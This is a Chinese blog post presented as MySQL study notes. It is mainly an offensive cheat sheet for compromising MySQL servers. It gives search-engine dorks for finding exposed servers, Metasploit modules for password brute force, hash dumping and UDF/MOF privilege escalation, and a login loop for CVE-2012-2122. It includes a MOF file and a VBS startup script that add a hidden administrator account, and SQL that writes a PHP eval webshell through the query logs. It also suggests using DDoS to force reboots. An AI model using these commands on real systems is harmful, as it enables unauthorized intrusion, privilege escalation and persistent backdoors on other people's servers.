首页 > 数据库 >Mysql学习笔记

Mysql学习笔记

时间:2022-10-31 10:22:04浏览次数:72  
标签:set log Mysql mysql 笔记 学习 MySQL 日志

Mysql

shodan : "product:MySQL"
fofa : app="Oracle-MySQL"

描述

MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策,它分为社区版和商业版,一般中小型网站的开发选择 MySQL 作为网站数据库。

Mysql 基础

Mysql 注入

MSF 爆破

use auxiliary/scanner/mysql/mysql_login
set RHOSTS [IP]
set USER_FILE [用户名字典]
set PASS_FILE [密码字典]
set STOP_ON_SUCCESS true
set THREADS 20
exploit

MSF 上传文件执行

use exploit/windows/mysql/scrutinizer_upload_exec
set RHOST [ip]
set USERNAME [user]
set PASSWORD [pass]
set payload windows/meterpreter/bind_tcp
set RHOST [ip]
set LPORT 4444
exploit

MSF 获取 mysql.user 的 hash

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS [ip]
set USERNAME [user]
set PASSWORD [pass]
set THREADS 20
exploit

CVE-2012-2122 Mysql 身份认证绕过漏洞

  • 漏洞描述

    当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。

  • POC | Payload | exp

    for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
    

CVE-2012-5615 Oracle MySQL Server 5.5.19 用户名枚举漏洞

CVE-2016-6662

  • 漏洞描述

    Oracle MySQL 中的配置文件(my.cnf)存在远程代码执行漏洞。攻击者(本地或远程)可通过授权访问 MySQL 数据库(网络连接或类似 phpMyAdmin 的 Web 接口)或 SQL 注入方式,利用该漏洞向配置文件中注入恶意的数据库配置,导致以 root 权限执行任意代码,完全控制受影响的服务器。以下版本受到影响:Oracle MySQL 5.5.52 及之前的版本,5.6.x 至 5.6.33 版本,5.7.x 至 5.7.15 版本;MariaDB 5.5.51 之前的版本,10.0.27 之前的 10.0.x 版本,10.1.17 之前的 10.1.x 版本;Percona Server 5.5.51-38.1 之前的版本,5.6.32-78.0 之前的 5.6.x 版本,5.7.14-7 之前的 5.7.x 版本。

  • 相关文章


MySQL 文件读

相关文章

相关工具


Mysql提权

相关文章

UDF 提权

相关文章

POC | Payload | exp

  • mysqludf/lib_mysqludf_sys
  • T3st0r-Git/HackMySQL - Using To MySQL Elevate Privileges.
  • MSF 模块
    use exploit/multi/mysql/mysql_udf_payload
    set RHOSTS [ip]
    set USERNAME [user]
    set PASSWORD [pass]
    set target 0
    set payload windows/meterpreter/bind_tcp
    set RHOST [ip]
    set LPORT 4444
    exploit
    

MOF 提权

MOF提权的条件要求十分严苛:

  1. windows 03 及以下版本
  2. mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
  3. secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")

instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = ;
Filter = ;
};
  1. 保存为 1.mof,然后 mysql 执行:select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
  2. mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.

关于 Mof 提权的弊端

我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用.那么我们如何删掉我们的入侵账号呢?

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
  • MSF 模块
    use exploit/windows/mysql/mysql_mof
    set RHOSTS [ip]
    set USERNAME [user]
    set PASSWORD [pass]
    set payload windows/meterpreter/bind_tcp
    set RHOST [ip]
    set LPORT 4444
    exploit
    

启动项提权

在前两种方法都失败时,那可以试一下启动项提权..因为要求达到的条件和 mof 几乎一样,并且要重启服务,所以不是十分推荐.原理还是使用 mysql 写文件,写入一段 VBS 代码到开机自启动中,服务器重启达到创建用户并提权,可以使用 DDOS 迫使服务器重启.

提权条件

  1. file_priv 不为 null
  2. 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

日志 getshell

查询当前 mysql 下 log 日志的默认地址,同时也看下 log 日志是否为开启状态,并且记录下原地址,方便后面恢复。

-- 开启日志监测,一般是关闭的,如果一直开,文件会很大的。
set global general_log = on;

-- 这里设置我们需要写入的路径就可以了。
set global general_log_file = 'D:/shell.php';

-- 查询一个一句话,这个时候log日志里就会记录这个。
select '<?php eval($_POST['1']);?>';
-- 结束后,再修改为原来的路径。
set global general_log_file = 'D:\xampp\mysql\data\1.log';

-- 关闭下日志记录。
set global general_log = off;

慢查询日志

MySQL 的慢查询日志是 MySQL 提供的一种日志记录,它用来记录在 MySQL 中响应时间超过阀值的语句。

对日志量庞大,直接访问日志网页极有可能出现 500 错误。通过开启慢查询日志,记录了超时 10s 的 SQL,这样页面的代码量会减轻很多不易导致 500, 配置可解析日志文件 GETSHELL。

show variables like '%slow%';

long_query_time 的默认值为 10,意思是运行 10S 以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过 long_query_time 值的 SQL,则会被记录到慢查询日志中。

set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);

CVE-2021-27928

相关文章

POC | Payload | exp

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

标签:set,log,Mysql,mysql,笔记,学习,MySQL,日志
From: https://www.cnblogs.com/haidragon/p/16843389.html

相关文章

  • 学习笔记之初识混沌工程
    概要定义:主动发现系统中脆弱点的一整套方法论。目的:如何让系统在不确定性中获益?接受“系统越复杂,越脆弱”的事实,让系统在每一次失败中获益,然后不断进化。在实践中,用一......
  • MYSQL索引
    索引的优点索引大大减少了服务器需要扫描的数据量索引可以帮助服务器避免排序和临时表索引可以将随机I/O变成顺序I/O索引只要帮助存储引擎快速查找到记录,带来......
  • 深度学习训练营(一)
    前言:​​pipinstall-Uscikit-learn​​安装sklearn模块文章目录​​x[:,0]和x[:,1]理解和实例解析​​​​load_boston数据集​​​​zip函数​​​​关于loss函数理解......
  • PHP反序列化字符逃逸学习
    文章目录​​过滤后字符变多​​​​过滤后字符变少​​过滤后字符变多首先给出本地的php代码,很简单不做过多的解释,就是把反序列化后的一个x替换成为两个<?phpfunctionchan......
  • 矢量&凸包学习笔记
    矢量&凸包学习笔记矢量矢量(向量)的定义和表示法定义:一条有方向的线段。表示:如下图。那么我们把这一条矢量写作:\(\overrightarrow{AB}\),它的长度为\(a\),记作\(\left|\o......
  • mysql主从复制-docker
    1、拉取mysql:5.7镜像dockerpullmysql:5.72、创建主服务器配置文件mkdir-p/mydata/mysql-master/confvi/mydata/mysql-master/conf/my.cnfcat/mydata/mysql-......
  • 基于形成性评估的移动学习方法,以改善学生的学习态度和成绩
    基于形成性评估的移动学习方法,以改善学生的学习态度和成绩(Aformativeassessment-basedmobilelearningapproachtoimprovingthelearningattitudesandachieveme......
  • 半平面交学习笔记
    半平面交学习笔记半平面半平面:一条直线把一个平面分成的两个平面,如图,直线\(AB\)把平面分成左(上)半平面和右(下)半平面的两个平面。那我们如何判断是在哪一个平面呢?有两种......
  • 【学习笔记】《范围修改查询问题》
    参考自APIO2022清华大学李欣隆的课件《范围修改查询问题》。其实感觉目前实用性不强(问题描述给定集合\(I\),令\(n=|I|\)。给定交换半群\((D,+)\),半群\((M,*)\)。......
  • 【763】MySQL and SQL 相关
    参考:MySQL教程参考:MySQLonMac—GettingStarted参考:SQL教程......